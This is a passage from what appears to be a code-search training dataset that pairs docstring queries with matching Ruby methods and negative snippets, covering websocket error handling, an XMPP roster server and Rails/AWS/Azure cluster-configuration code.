"def start_server\n @watchman = Thread.new {\n while !@stopped\n @pool_mutex.synchronize\n socket = @server.accept\n @pool << Thread.new(socket) {|socket|\n serve(socket)\n }\n end \n }\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Configures the Websocket object to print any errors to the console | def setup_error_handler
EM.error_handler do |e|
print "Websocket Error: #{e.message} - #{e.backtrace.join("\n")}"
end
end | [
"def on_error(env, error)\n logger.debug \"Websocket error: #{error.message}\"\n end",
"def on_open\n puts \"Websocket connection opened\"\n end",
"def websocket_options\n { :host => websocket_host, :port => websocket_port }\n end",
"def start\n\n logger.info('Starting the WebSocket Client...')\n\n EventMachine.run do\n\n puts '='*80, \"Connecting to websockets server at ws://#{Settings.websocket.host}:#{Settings.websocket.port}\", '='*80\n\n http = EventMachine::HttpRequest.new(\"ws://#{Settings.websocket.host}:#{Settings.websocket.port}/websocket\").get :timeout => 0\n\n http.errback do\n logger.error \"something was wrong in the websocket_client\"\n end\n\n http.callback do\n puts \"#{Time.now.strftime('%H:%M:%S')} : Connected to server\"\n end\n\n http.stream do |msg|\n puts msg\n end\n\n end\n \n end",
"def setup_websocket_callback\n websocket.message do |message|\n queue.push(message)\n message_callbacks.each { |b| b&.call(message) }\n end\n end",
"def on_stream_error(message)\n puts \"error: #{message}\\n\"\n end",
"def set_socket_stdout(error)\n @socket = $stdout\n @socket.puts \"Error opening socket, logging to STDOUT: #{error}\"\n end",
"def enable(websocket)\n @socket = websocket\n configure\n true\n end",
"def fail_websocket(e)\n debug [:error, e]\n close_websocket(e.code, e.message)\n @connection.close_connection_after_writing\n @connection.trigger_on_error(e)\n end",
"def debug_on\n @debug_socket = true\n end",
"def register_callbacks\n # successful connection\n @connection.callback do\n Logger.info \"Connected to WebSocket: #{@url}\"\n\n run_test\n end\n\n # when the socket couldn't be connected\n @connection.errback do |e|\n Logger.info \"Couldn't connect: #{e}\"\n end\n\n # when a message is received from the socket\n @connection.stream do |message|\n message = JSON.parse message.data\n Logger.info \"Received message: \" if $opts[:verbose]\n ap message if $opts[:verbose]\n\n # if the message contained a result\n if message['result']\n if message['id']\n # look for ID-based callback and pass it the result\n callback = @callbacks[message['id']]\n callback.call(message['result']) if callback\n end\n elsif message['method']\n # look for generic method callback, e.g.\n # https://developers.google.com/chrome-developer-tools/docs/protocol/tot/console#event-messageAdded\n callback = @callbacks[message['method']]\n callback.call(message['params']) if callback\n elsif message['error']\n Logger.info \"Error returned: #{message['error']}\"\n end\n end\n\n # when you close the browser or dev tools\n @connection.disconnect do\n Logger.info \"Browser disconnected the WebSocket.\"\n end\n end",
"def xml_error(socket)\n begin\n self.warning(\"sending ERROR to client\")\n socket.puts(REXML::Document.new.add_element('ERROR').to_s)\n rescue\n self.error('cannot write to socket')\n end \n end",
"def initialize(options={})\n @options = options\n super(nil)\n @logdev = LogDevice.new(self)\n @logdev.run_socket_thread\n\n @formatter = proc do |severity, time, progname, msg|\n if msg.is_a?(Exception)\n \"#{severity}: #{msg.message} (#{msg.class})\\n\" + (msg.backtrace || []).join(\"\\n\")\n else\n \"#{severity}: #{msg}\"\n end\n end\n end",
"def werrors(clear=true)\n device = router[:werror]\n errors = device.string\n device.string = \"\" if clear\n errors\n end",
"def start_listen_errors\n return nil unless @io_err\n\n @thr_err = Thread.new do\n begin\n @io_err.each_line do |str|\n $stderr.print str if @debug\n end\n rescue => e\n @listen_err_err = e\n end\n end\n end",
"def send_error message\n send_data \"ERROR: \" + message\n end",
"def setup \n puts \"Setup, please configure the application accordingly.\"\n puts \"Enter the window size:\"\n $windowSize = gets.chomp.to_i\n puts \"Enter a port:\"\n $port = gets.chomp.to_i\n puts \"Please enter the network IP:\"\n $networkIP = gets.chomp\n puts \"Please enter the client IP:\"\n $clientIP = gets.chomp\n puts \"Please enter the timeout (recv):\"\n $timeout = gets.chomp.to_f\n $socket.bind('', $port)\n $socket.connect($networkIP, $port)\n $logFile = File.open('client.log', File::WRONLY | File::APPEND | File::CREAT)\n $logger =Logger.new($logFile)\n $logger.formatter = proc do |severity, datetime, progname, msg|\n \"#{datetime}: #{msg}\\n\"\n end\nend",
"def start!\n start_websocket_thread\n end",
"def live_stderr; end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Notify the session that the client has requested its roster and is now considered to be an "interested" resource. Interested resources are sent roster pushes when changes are made to their contacts. | def requested_roster!
@requested_roster = true
save_to_cluster
end | [
"def request_roster\n if @authenticated\n msg_id = id\n @connection.send(Jabber::Protocol::Iq.gen_roster(self, msg_id)) do |element|\n if element.attr_id == msg_id\n element.consume_element\n element.query.item.count.times do |i|\n item = element.query.item[i]\n @roster.add(item.attr_jid, item.attr_subscription, item.attr_name, item.group.element_data)\n end\n end\n end\n Thread.stop\n register_roster_filter\n end\n end",
"def send_roster_push(to)\n contact = stream.user.contact(to)\n stream.interested_resources(stream.user.jid).each do |recipient|\n contact.send_roster_push(recipient)\n end\n end",
"def starred\n @chatroom = Chatroom.new\n @rooms = current_user.get_starred_chatrooms\n end",
"def roster_query\n stream.requested_roster!\n stream.write(stream.user.to_roster_xml(self['id']))\n end",
"def setRoster\n \t\t@roster=Jabber::Roster::Helper.new(@client)\n \t\t@roster.wait_for_roster\n\tend",
"def update_roster\n items = self.xpath('ns:query/ns:item', 'ns' => NS)\n raise StanzaErrors::BadRequest.new(self, 'modify') if items.size != 1\n item = items.first\n\n jid = JID.new(item['jid']) rescue (raise StanzaErrors::JidMalformed.new(self, 'modify'))\n raise StanzaErrors::BadRequest.new(self, 'modify') if jid.empty? || !jid.bare?\n\n if item['subscription'] == 'remove'\n remove_contact(jid)\n return\n elsif item['subscription'] == 'removed'\n was_removed_contact(jid) if restored?\n return\n end\n\n raise StanzaErrors::NotAllowed.new(self, 'modify') if jid == stream.user.jid.bare\n groups = item.xpath('ns:group', 'ns' => NS).map {|g| g.text.strip }\n raise StanzaErrors::BadRequest.new(self, 'modify') if groups.uniq!\n raise StanzaErrors::NotAcceptable.new(self, 'modify') if groups.include?('')\n\n contact = stream.user.contact(jid)\n unless contact\n contact = Contact.new(jid: jid)\n stream.user.roster << contact\n end\n contact.name = item['name']\n contact.groups = groups\n storage.save_user(stream.user)\n stream.update_user_streams(stream.user)\n send_result_iq\n push_roster_updates(stream.user.jid, contact)\n end",
"def reply_request(request , assigned_room)\n request.room = assigned_room\n request.done = true\n request.save\n request.needers.each do |needer|\n Notification.send_notification(needer,\n 2,\n 2,\n (\"The Room ( \" << assigned_room << \" ) was Assigned for your Session/Meeting\"))\n end\n end",
"def setup_roster!\n # Clean the roster\n self.connection.roster.items.each_pair do |jid, roster_item|\n jid = jid.strip.to_s\n unless self.class.contacts.include?( jid )\n self.connection.remove( jid )\n end\n end\n \n # Add missing contacts\n self.class.contacts.each do |contact|\n unless self.connection.subscribed_to?( contact )\n self.connection.add( contact )\n self.connection.roster.accept_subscription( contact )\n end\n end\n end",
"def harvest_requested\n ContentPartner.with_master do\n @partner = ContentPartner.find(params[:content_partner_id], include: {resources: :resource_status })\n @resource = @partner.resources.find(params[:id])\n end\n access_denied unless current_user.can_update?(@resource)\n if @resource.status_can_be_changed_to?(ResourceStatus.harvest_tonight)\n @resource.resource_status = ResourceStatus.harvest_tonight\n if @resource.save\n flash[:notice] = I18n.t(:content_partner_resource_status_update_successful_notice,\n resource_status: @resource.status_label, resource_title: @resource.title)\n else\n flash.now[:error] = I18n.t(:content_partner_resource_status_update_unsuccessful_error,\n resource_status: @resource.status_label, resource_title: @resource.title)\n end\n else\n flash[:error] = I18n.t(:content_partner_resource_status_update_illegal_transition_error,\n resource_title: @resource.title, current_resource_status: @resource.status_label,\n requested_resource_status: Resource.harvest_tonight.label)\n end\n store_location request.referer unless request.referer.blank?\n redirect_back_or_default content_partner_resources_path(@partner)\n end",
"def listen_for_subscription_requests\n @roster = Jabber::Roster::Helper.new(@xmpp_client)\n @roster.add_subscription_request_callback do |item, pres|\n # Only accept subscription requests from whitelisted JIDs\n if @buddies.include? pres.from.strip.to_s\n @roster.accept_subscription(pres.from)\n end \n end\n end",
"def notify_owner_of_redeemed_reward\n reward_page.notify_owner_of_redeemed_reward!(self, self.participant_id)\n return true\n end",
"def setup_roster!\n # Clean the roster\n self.connection.roster.items.each_pair do |jid, roster_item|\n jid = jid.strip.to_s\n unless self.class.contacts.include?( jid )\n self.connection.remove( jid )\n end\n end\n\n # Add missing contacts\n self.class.contacts.each do |contact|\n unless self.connection.subscribed_to?( contact )\n self.befriend_contact!( contact )\n end\n end\n end",
"def show\n @roster = Roster.where(contract_type: 'Roster').find( params[:id] )\n\n # Private rosters are only visible to invited users\n if @roster.private?\n @roster = current_user.all_rosters.find( params[:id] )\n end\n respond_with @roster, serializer: Api::V1::ContractSerializer, current_user: current_user\n end",
"def ready\n @room.user_ready!(current_user)\n broadcast_ready_changed\n end",
"def ready\n @room = current_user.room\n current_user.status = 3\n current_user.save\n publish(\"presence-room_#{@room.id}\",\"users_change\",{})\n if @room.show_next_question?\n @next_question = choose_question(@room)\n @room.users.each do |user|\n user.status = 1\n user.save\n end\n publish(\"presence-room_#{@room.id}\",\"next_question\", {\n question_id: @next_question.id\n })\n end\n render :json => {\n room_id: @room.id\n }\n end",
"def respond\n received_list = message\n we_only_have, they_only_have = Node.diff(received_list)\n\n Display.debug('node_list#respond: me: ' + we_only_have.to_s)\n Display.debug('node_list#respond: they: ' + they_only_have.to_s)\n\n if they_only_have.present?\n they_only_have.each do |n|\n Node.from_json(n).save!\n end\n end\n\n uid = payload['sender']['uid']\n\n if we_only_have.present?\n respond_with_what_we_have(we_only_have, they_only_have, uid)\n else\n respond_with_confirmation_of_in_sync(uid)\n end\n end",
"def subscribed_to_reservation\n unless subscribed?(@reservation)\n message = \"Vous n'êtes pas inscrit(e) à cette réservation\"\n respond_to do |format|\n format.html { redirect_to reservations_url, alert: message }\n format.json { render 'show', status: :unauthorized, alert: message }\n end\n end\n end",
"def mark_notification_as_seen_and_read\n notifications.each{|n| n.update_attributes(:read => true, :seen => true)} if (status == Friendship::STATUS[:accepted] || status == Friendship::STATUS[:declined]) && status_was == Friendship::STATUS[:pending]\n end",
"def broadcast_subscription_change(contact)\n stamp_from\n stream.interested_resources(stamp_to).each do |recipient|\n @node['to'] = recipient.user.jid.to_s\n recipient.write(@node)\n contact.send_roster_push(recipient)\n end\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Returns contacts hosted at remote servers to which this user has successfully subscribed. | def remote_subscribed_to_contacts
@user.subscribed_to_contacts.reject do |c|
@config.local_jid?(c.jid)
end
end | [
"def remote_subscribers(to=nil)\n jid = (to.nil? || to.empty?) ? nil : JID.new(to).bare\n @user.subscribed_from_contacts.reject do |c|\n @config.local_jid?(c.jid) || (jid && c.jid.bare != jid)\n end\n end",
"def subscribed_to_contacts\n @roster.select {|c| c.subscribed_to? }\n end",
"def subscribers\n @subscribers ||= ActsAsIcontact::Subscription.contacts(:listId => id)\n end",
"def available_subscribed_to_resources\n subscribed = @user.subscribed_to_contacts.map {|c| c.jid }\n router.available_resources(subscribed)\n end",
"def contacts\n collect\n end",
"def contacts\n return @contacts\n end",
"def contacts\n Contact.where(account_ids: self._id)\n end",
"def contacts\n @contacts = @seller.get_contacts\n end",
"def contacts\n @contacts ||= CreditorContactProxy.new(self)\n end",
"def contacts\n if !@contacts_downloaded && contact_group_id\n @contacts_downloaded = true\n\n # Load the contact list.\n @contacts = gateway.get_contact_group_by_id(contact_group_id).contact_group.contacts || []\n end\n\n @contacts\n end",
"def contacts\n @contacts ||= DebtorContactProxy.new(self)\n end",
"def response\n @client.links.subscriptions\n end",
"def get_public_list(id, options={})\n options.merge!({:user_id => id})\n rsp = @flickr.send_request('flickr.contacts.getPublicList', options)\n collect_contacts(rsp)\n end",
"def contacts\n contact_records.map(&:user)\n end",
"def contacts\n get('contacts')\n end",
"def cc_recipients\n return @cc_recipients\n end",
"def subscribed_from_followers\n @roster.select {|c| c.subscribed_from? }\n end",
"def get_user_contacts username_for, options = {}\n do_request 'get_user_contacts', options.merge(username_for: username_for)\n end",
"def external_sponsors\n return @external_sponsors\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
Returns contacts hosted at remote servers that are subscribed to this user's presence updates. | def remote_subscribers(to=nil)
jid = (to.nil? || to.empty?) ? nil : JID.new(to).bare
@user.subscribed_from_contacts.reject do |c|
@config.local_jid?(c.jid) || (jid && c.jid.bare != jid)
end
end | [
"def remote_subscribed_to_contacts\n @user.subscribed_to_contacts.reject do |c|\n @config.local_jid?(c.jid)\n end\n end",
"def subscribed_to_contacts\n @roster.select {|c| c.subscribed_to? }\n end",
"def subscribers\n @subscribers ||= ActsAsIcontact::Subscription.contacts(:listId => id)\n end",
"def subscribed_from_followers\n @roster.select {|c| c.subscribed_from? }\n end",
"def fetch_watchers\n watcher_users.to_a\n end",
"def subscribed_to_followers\n @roster.select {|c| c.subscribed_to? }\n end",
"def available_subscribed_to_resources\n subscribed = @user.subscribed_to_contacts.map {|c| c.jid }\n router.available_resources(subscribed)\n end",
"def contacts\n return @contacts\n end",
"def get_subscribers\n @subscriptions = subscribers(@nodename)\n end",
"def recently_contacted_users\n Skype.find_users_of_type \"RECENTLY_CONTACTED_USERS\"\n end",
"def subscribers\n subscriptions.map(&:subscriber)\n end",
"def active_remotes\n @remote_forwards.keys\n end",
"def contacts\n Contact.where(account_ids: self._id)\n end",
"def get_subscriptions\n get_subscriptions_from(@nodename)\n end",
"def subscribers\n subscriptions = Joyce::StreamSubscriber\n .joins(\"JOIN joyce_activities_streams AS jas ON joyce_streams_subscribers.stream_id = jas.stream_id\")\n .includes(:subscriber)\n .where(\"jas.activity_id = ?\", self.id)\n .where(\"joyce_streams_subscribers.ended_at IS NULL OR joyce_streams_subscribers.ended_at >= ?\", self.created_at)\n .where(\"joyce_streams_subscribers.started_at <= ?\", self.created_at)\n subscriptions.collect{ |s| s.subscriber }.uniq\n end",
"def remotes\n @remotes ||= get_remotes\n end",
"def online_users\n data = \"connected_users\"\n response(data)\n end",
"def all\n response = api_request(:get, \"/subscribers.xml\")\n return [] unless response.has_key?(\"subscribers\")\n response[\"subscribers\"].collect{|data| Subscriber.new(data)}\n end",
"def contacts\n collect\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
POST /cluster_configurations POST /cluster_configurations.json | def create
@cluster_configuration = ClusterConfiguration.new(cluster_configuration_params)
@cluster_configuration.instantiated = 'false'
if cluster_configuration_params['size'].to_i > 0
cluster_configuration_params['size'].to_i.times do
@cluster_configuration.cluster_templates += [ClusterTemplate.create]
end
end
respond_to do |format|
if @cluster_configuration.save
format.html { redirect_to @cluster_configuration, notice: 'Cluster configuration was successfully created.' }
format.json { render action: 'show', status: :created, location: @cluster_configuration }
else
format.html { render action: 'new' }
format.json { render json: @cluster_configuration.errors, status: :unprocessable_entity }
end
end
end | [
"def cluster_config\n JSON.parse(api_execute(admin_endpoint + '/config', :get, :cluster => true).body)\n end",
"def cluster_configuration(options = {})\n get \"/cluster/config\", options\n end",
"def healthy_cluster_config\n {\n 'http://127.0.0.1:4001' => 'http://127.0.0.1:4001',\n 'http://127.0.0.1:4002' => 'http://127.0.0.1:4001',\n 'http://127.0.0.1:4003' => 'http://127.0.0.1:4001'\n }\n end",
"def createDbCluster\n cluster_config_struct = {\n db_cluster_identifier: @config['identifier'],\n # downcasing @config[\"subnet_group_name\"] becuase the API is choking on upper case.\n db_subnet_group_name: @config[\"subnet_group_name\"].downcase,\n vpc_security_group_ids: @config[\"vpc_security_group_ids\"],\n tags: allTags\n }\n cluster_config_struct[:port] = @config[\"port\"] if @config[\"port\"]\n\n if @config['cluster_mode']\n cluster_config_struct[:engine_mode] = @config['cluster_mode']\n if @config['cluster_mode'] == \"serverless\"\n cluster_config_struct[:scaling_configuration] = {\n :auto_pause => @config['serverless_scaling']['auto_pause'],\n :min_capacity => @config['serverless_scaling']['min_capacity'],\n :max_capacity => @config['serverless_scaling']['max_capacity'],\n :seconds_until_auto_pause => @config['serverless_scaling']['seconds_until_auto_pause']\n }\n end\n end\n\n if %w{existing_snapshot new_snapshot}.include?(@config[\"creation_style\"])\n cluster_config_struct[:snapshot_identifier] = @config[\"snapshot_id\"]\n cluster_config_struct[:engine] = @config[\"engine\"]\n cluster_config_struct[:engine_version] = @config[\"engine_version\"]\n cluster_config_struct[:database_name] = @config[\"db_name\"]\n end\n\n if @config[\"creation_style\"] == \"new\"\n cluster_config_struct[:backup_retention_period] = @config[\"backup_retention_period\"]\n cluster_config_struct[:database_name] = @config[\"db_name\"]\n cluster_config_struct[:db_cluster_parameter_group_name] = @config[\"parameter_group_name\"]\n cluster_config_struct[:engine] = @config[\"engine\"]\n cluster_config_struct[:engine_version] = @config[\"engine_version\"]\n cluster_config_struct[:master_username] = @config[\"master_user\"]\n cluster_config_struct[:master_user_password] = @config[\"password\"]\n cluster_config_struct[:preferred_backup_window] = @config[\"preferred_backup_window\"]\n cluster_config_struct[:preferred_maintenance_window] = @config[\"preferred_maintenance_window\"]\n end\n\n if @config[\"creation_style\"] == \"point_in_time\"\n cluster_config_struct[:source_db_cluster_identifier] = @config[\"source_identifier\"]\n cluster_config_struct[:restore_to_time] = @config[\"restore_time\"] unless @config[\"restore_time\"] == \"latest\"\n cluster_config_struct[:use_latest_restorable_time] = true if @config[\"restore_time\"] == \"latest\"\n end\n\n attempts = 0\n begin\n resp = \n if @config[\"creation_style\"] == \"new\"\n MU.log \"Creating new database cluster #{@config['identifier']}\"\n MU::Cloud::AWS.rds(region: @config['region'], credentials: @config['credentials']).create_db_cluster(cluster_config_struct)\n elsif %w{existing_snapshot new_snapshot}.include?(@config[\"creation_style\"])\n MU.log \"Creating new database cluster #{@config['identifier']} from snapshot #{@config[\"snapshot_id\"]}\"\n MU::Cloud::AWS.rds(region: @config['region'], credentials: @config['credentials']).restore_db_cluster_from_snapshot(cluster_config_struct)\n elsif @config[\"creation_style\"] == \"point_in_time\"\n MU.log \"Creating new database cluster #{@config['identifier']} from point in time backup #{@config[\"restore_time\"]} of #{@config[\"source_identifier\"]}\"\n MU::Cloud::AWS.rds(region: @config['region'], credentials: @config['credentials']).restore_db_cluster_to_point_in_time(cluster_config_struct)\n end\n rescue Aws::RDS::Errors::InvalidParameterValue => e\n if attempts < 5\n MU.log \"Got #{e.inspect} while creating database cluster #{@config['identifier']}, will retry a few times in case of transient errors.\", MU::WARN, details: cluster_config_struct\n attempts += 1\n sleep 10\n retry\n else\n MU.log \"Exhausted retries trying to create database cluster #{@config['identifier']}\", MU::ERR, details: e.inspect\n raise MuError, \"Exhausted retries trying to create database cluster #{@config['identifier']}\"\n end\n end\n\n attempts = 0\n loop do\n MU.log \"Waiting for #{@config['identifier']} to become available\", MU::NOTICE if attempts % 5 == 0\n attempts += 1\n cluster = MU::Cloud::AWS::Database.getDatabaseClusterById(@config['identifier'], region: @config['region'], credentials: @config['credentials'])\n break unless cluster.status != \"available\"\n sleep 30\n end\n\n if %w{existing_snapshot new_snapshot point_in_time}.include?(@config[\"creation_style\"])\n modify_db_cluster_struct = {\n db_cluster_identifier: @config['identifier'],\n apply_immediately: true,\n backup_retention_period: @config[\"backup_retention_period\"],\n db_cluster_parameter_group_name: @config[\"parameter_group_name\"],\n master_user_password: @config[\"password\"],\n preferred_backup_window: @config[\"preferred_backup_window\"]\n }\n\n modify_db_cluster_struct[:preferred_maintenance_window] = @config[\"preferred_maintenance_window\"] if @config[\"preferred_maintenance_window\"]\n MU::Cloud::AWS.rds(region: @config['region'], credentials: @config['credentials']).modify_db_cluster(modify_db_cluster_struct)\n\n attempts = 0\n loop do\n MU.log \"Waiting for #{@config['identifier']} to become available\", MU::NOTICE if attempts % 5 == 0\n attempts += 1\n cluster = MU::Cloud::AWS::Database.getDatabaseClusterById(@config['identifier'], region: @config['region'], credentials: @config['credentials'])\n break unless cluster.status != \"available\"\n sleep 30\n end\n end\n\n cluster = MU::Cloud::AWS::Database.getDatabaseClusterById(@config['identifier'], region: @config['region'], credentials: @config['credentials'])\n MU::Cloud::AWS::DNSZone.genericMuDNSEntry(name: cluster.db_cluster_identifier, target: \"#{cluster.endpoint}.\", cloudclass: MU::Cloud::Database, sync_wait: @config['dns_sync_wait'])\n return cluster.db_cluster_identifier\n end",
"def save_cluster_configuration\n begin\n facets = Ironfan::IaasProvider.cluster_spec[CLUSTER_DEF_KEY][GROUPS_KEY]\n facet = facets.find { |f| f['name'] == facet_name.to_s }\n conf = facet[CLUSTER_CONF_KEY]\n rescue\n nil\n end\n\n conf ||= {}\n if conf\n @facet_role.default_attributes({ CLUSTER_CONF_KEY => conf })\n end\n conf\n end",
"def save_cluster_configuration\n conf = cluster_attributes(CLUSTER_CONF_KEY)\n conf ||= {}\n merge_to_cluster_role({ CLUSTER_CONF_KEY => conf })\n end",
"def read_cluster_config\n defs_file = open(\"cluster_defs.json\")\n defs_json = defs_file.read\n clust_cfg = JSON.parse(defs_json)\n defs_file.close\n return clust_cfg\nend",
"def create\n @cluster_template = ClusterTemplate.new(configuration_params)\n if session.has_key? :cluster_id and session[:cluster_id]\n @cluster_template.cluster_configuration = ClusterConfiguration.find(session[:cluster_id])\n @cluster_template.save\n end\n\n respond_to do |format|\n if @cluster_template.save\n format.html { redirect_to @cluster_template, notice: 'ClusterTemplate was successfully created.' }\n format.json { render action: 'show', status: :created, location: @cluster_template }\n else\n format.html { render action: 'new' }\n format.json { render json: @cluster_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def read_cluster_config\n cluster_json = \"#{ENV['VAGRANT_CWD'] || '.'}/cluster_defs.json\"\n JSON.parse(File.read(cluster_json))\nend",
"def settings_for_node\n cluster_name = self.parent.name.to_sym\n cluster_role = self.name.to_sym\n node_settings = {\n :user_data => { :attributes => { :run_list => [] } },\n :cluster_name => cluster_name,\n :cluster_role => cluster_role,\n }.deep_merge(Settings)\n node_settings.delete :pools\n raise \"Please define the '#{cluster_name}' cluster and the '#{cluster_role}' role in your ~/.chef/cluster_chef.yaml\" if (Settings[:pools][cluster_name].blank? || Settings[:pools][cluster_name][cluster_role].blank?)\n node_settings = node_settings.deep_merge(\n Settings[:pools][cluster_name][:common] ||{ }).deep_merge(\n Settings[:pools][cluster_name][cluster_role] ||{ })\n configure_aws_region node_settings\n node_settings\nend",
"def configure(cluster_config, force = false)\n logger.debug { \"#{self.class}##{__method__}\" }\n # cluster specific attributes\n cluster_attributes = cluster_config.instance_values.symbolize_keys.except(:active, :cluster_type,\n :max_threads_per_agent, :cluster_code)\n cluster_attributes[:project_id] = self.project.id\n # find the cluster or create it\n cluster_instance = find_or_initialize(cluster_attributes, cluster_config)\n cluster_instance.save!\n cluster_instance.setup(force)\n end",
"def create body = {}\n @connection.request(method: :post, path: \"/configs/create\", headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end",
"def create\n log \"Creating cluster of spec #{@spec.coopr_post_data.to_json}\"\n resp = @coopr_client.post('v2/clusters', @spec.coopr_post_data.to_json)\n @id = JSON.parse(resp.to_str)['id']\n log \"Obtained cluster id: #{@id}\"\n rescue => e\n log \"ERROR: Unable to create cluster: #{e.inspect}\"\n end",
"def create\n @cluster = Cluster.new(params[:cluster])\n\n respond_to do |format|\n if @cluster.save\n format.html { redirect_to @cluster, notice: 'Cluster was successfully created.' }\n format.json { render json: @cluster, status: :created, location: @cluster }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def read_cluster_config\n if ENV['VAGRANT_CWD'] then\n folder = ENV['VAGRANT_CWD'] + \"/cluster_defs.json\"\n defs_file = open(folder)\n else\n defs_file = open(\"cluster_defs.json\")\n end\n defs_json = defs_file.read\n clust_cfg = JSON.parse(defs_json)\n defs_file.close\n return clust_cfg\nend",
"def cluster_template(config)\n template = <<~YAML\n '$schema': https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\n contentVersion: 1.0.0.0\n parameters: {}\n variables: {}\n resources:\n - type: Microsoft.ContainerService/managedClusters\n name: <%= context[:name] %>\n apiVersion: '2019-06-01'\n location: #{@region}\n tags:\n cluster: <%= context[:name] %>\n properties:\n kubernetesVersion: <%= context[:version] %>\n dnsPrefix: <%= context[:name] %>\n addonProfiles:\n httpapplicationrouting:\n enabled: true\n config:\n HTTPApplicationRoutingZoneName: <%= context[:domain] %>\n agentPoolProfiles:\n - name: compute\n count: <%= context[:size] %>\n maxPods: 110\n osDiskSizeGB: <%= context[:disk_size_gb] %>\n osType: Linux\n storageProfile: ManagedDisks\n type: VirtualMachineScaleSets\n vmSize: <%= context[:machine_type] %>\n servicePrincipalProfile:\n clientId: #{@client_id}\n secret: #{@client_secret}\n linuxProfile:\n adminUsername: azureuser\n <%- unless (context[:ssh_key] || '').empty? -%>\n ssh:\n publicKeys:\n - keyData: <%= context[:ssh_key] %>\n <%- end -%>\n enableRBAC: true\n enablePodSecurityPolicy: true\n networkProfile:\n dnsServiceIP: 10.0.0.10\n dockerBridgeCidr: 172.17.0.1/16\n loadBalancerSku: basic\n networkPlugin: azure\n networkPolicy: azure\n serviceCidr: <%= context[:services_ipv4_cidr].empty? ? '10.0.0.0/16' : context[:services_ipv4_cidr] %>\n YAML\n HubClustersCreator::Utils::Template::Render.new(config).render(template)\n end",
"def cluster_mappings\n @cluster_mappings\n end",
"def update\n respond_to do |format|\n if @cluster_configuration.update(cluster_configuration_params)\n format.html { redirect_to @cluster_configuration, notice: 'Cluster configuration was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cluster_configuration.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generate_node_config\n run_list = { run_list: @recipes.map{|name| \"recipe[#{name}]\"} }\n @ssh.write \"/tmp/node.json\", content: JSON.generate(run_list), sudo: true\n end"
] | {
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} |
PATCH/PUT /cluster_configurations/1 PATCH/PUT /cluster_configurations/1.json | def update
respond_to do |format|
if @cluster_configuration.update(cluster_configuration_params)
format.html { redirect_to @cluster_configuration, notice: 'Cluster configuration was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @cluster_configuration.errors, status: :unprocessable_entity }
end
end
end | [
"def update\n respond_to do |format|\n if @cluster_template.update(configuration_params)\n format.html { redirect_to @cluster_template, notice: 'ClusterTemplate was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cluster_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cluster = Cluster.find(params[:id])\n\n respond_to do |format|\n if @cluster.update_attributes(params[:cluster])\n format.html { redirect_to @cluster, notice: 'Cluster was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cluster = Cluster.find(params[:id])\n\n respond_to do |format|\n if @cluster.update_attributes(params[:cluster])\n format.html { redirect_to @cluster, notice: 'Cluster was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cluster.update(cluster_params)\n format.html { redirect_to @cluster, notice: 'Cluster was successfully updated.' }\n format.json { render :show, status: :ok, location: @cluster }\n else\n format.html { render :edit }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @db_cluster\n respond_to do |format|\n if @db_cluster.update(db_cluster_params)\n format.html { redirect_to @db_cluster, notice: 'Database cluster was successfully updated.' }\n format.json { render :show, status: :ok, location: @db_cluster }\n else\n format.html { render :edit }\n format.json { render json: @db_cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cluster_config\n JSON.parse(api_execute(admin_endpoint + '/config', :get, :cluster => true).body)\n end",
"def update\n @cluster = Cluster.find(params[:id])\n\n respond_to do |format|\n if @cluster.update_attributes(params[:cluster])\n flash[:notice] = 'Cluster was successfully updated.'\n format.html { redirect_to(@cluster) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cluster.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @galactic_cluster.update(galactic_cluster_params)\n format.html { redirect_to @galactic_cluster, notice: 'Galactic cluster was successfully updated.' }\n format.json { render :show, status: :ok, location: @galactic_cluster }\n else\n format.html { render :edit }\n format.json { render json: @galactic_cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @f5_cluster = F5Cluster.find(params[:id])\n\n respond_to do |format|\n if @f5_cluster.update_attributes(params[:f5_cluster])\n format.html { redirect_to @f5_cluster, notice: 'F5 cluster was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @f5_cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
